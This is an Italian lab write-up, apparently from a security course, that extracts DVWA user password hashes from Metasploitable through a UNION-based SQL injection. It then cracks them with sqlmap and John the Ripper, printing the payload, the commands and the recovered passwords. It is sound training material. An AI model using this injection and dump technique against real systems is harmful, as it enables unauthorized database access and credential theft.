

**Obiettivo: utilizzare i tools password cracking visti a lezione per recuperare le password criptate in md5 trovate dalla SQL injection della DVWA di metasploitable.**

Per prima cosa andiamo a recuperare le password della nostra SQL injection, come possiamo vedere nell'immagine seguente.

## Vulnerability: SQL Injection

**User ID:**

```

ID: ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ID: 1' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ID: 1' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ID: 1' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ID: 1' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
  
```

Come possiamo vedere le password vengono mostrate criptate in md5, andiamo quindi ad utilizzare un tool per decriptare le nostre password.

Ho scelto come primo tool, SQLmap che ci permette oltre ad individuare le vulnerabilità anche di fare un attacco dizionario (recuperando prima il cookie di sessione) cioè andrà a confrontare tutti i possibili user e password finché non troverà quelli al caso nostro.

Come possiamo vedere nelle immagini seguenti siamo riusciti a decifrare le nostre password.

```

(kali@kali)-[~/Desktop]
$ sqlmap -u 'http://192.168.50.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' -cookie="security=low; PHPSESSID=87233dc91c6ac9225043ee5708e42b03" --dump
  
```

URL	Method	Params	Status	Length	MIMEType	Title	Comment	Time request
http://192.168.50.101	GET	/	200	1052	HTML	Metasploitable Linux		00:23:01.30...
http://192.168.50.101	GET	/vulnerabilities/sqli/	200	4870	HTML	Damn Vulnerable Web...		00:23:03.30...
http://192.168.50.101	GET	/vulnerabilities/sqli/	200	1052	HTML	Damn Vulnerable Web...		00:23:04.30...
http://192.168.50.101	GET	/vulnerabilities/sqli/	200	4492	HTML	Damn Vulnerable Web...		00:23:02.30...
http://192.168.50.101	GET	/vulnerabilities/sqli/	200	4043	HTML	Damn Vulnerable Web...		00:23:02.30...
http://192.168.50.101	GET	/vulnerabilities/sqli/	200	445	HTML	Damn Vulnerable Web...		00:23:03.30...
http://192.168.50.101	POST	/vulnerabilities/sqli/	✓	392	394			00:23:03.30...
http://192.168.50.101	POST	/vulnerabilities/sqli/	✓	392	394			00:23:21.30...

<https://sqlmap.org>

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

Database: dvwa  
Table: users  
[5 entries]

user_id	user	avatar	password	last_name	first_name
1	admin	http://172.16.123.129/dvwa/hackable/users/admin.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)	admin	admin
2	gordonb	http://172.16.123.129/dvwa/hackable/users/gordonb.jpg	e99a18c428cb38d5f260853678922e03 (abc123)	Brown	Gordon
3	1337	http://172.16.123.129/dvwa/hackable/users/1337.jpg	8d3533d75ae2c3966d7e0d4fcc69216b (charley)	Me	Hack
4	pablo	http://172.16.123.129/dvwa/hackable/users/pablo.jpg	0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)	Picasso	Pablo
5	smithy	http://172.16.123.129/dvwa/hackable/users/smithy.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)	Smith	Bob

Abbiamo usato anche il tool john the ripper, che in questo caso fa dei confronti in parallelo così da diminuire i tempi rispetto ad un brute force o ad un attacco addizionale.

Abbiamo ricercato il file delle wordlist nella directory wordlists e il file rockyou, che era compresso, l'abbiamo decompresso con il comando gunzip e lo abbiamo inserito nel nostro comando del tool john.

```
(kali@kali)-[~/Desktop]
$ sudo john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
No password hashes left to crack (see FAQ)
```

Dopo di che abbiamo inserito il comando per mostrare a schermo le nostre password già decifrate.

```
(kali@kali)-[~/Desktop]
$ sudo john --show --format=raw-md5 /home/kali/Desktop/hashes
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password
```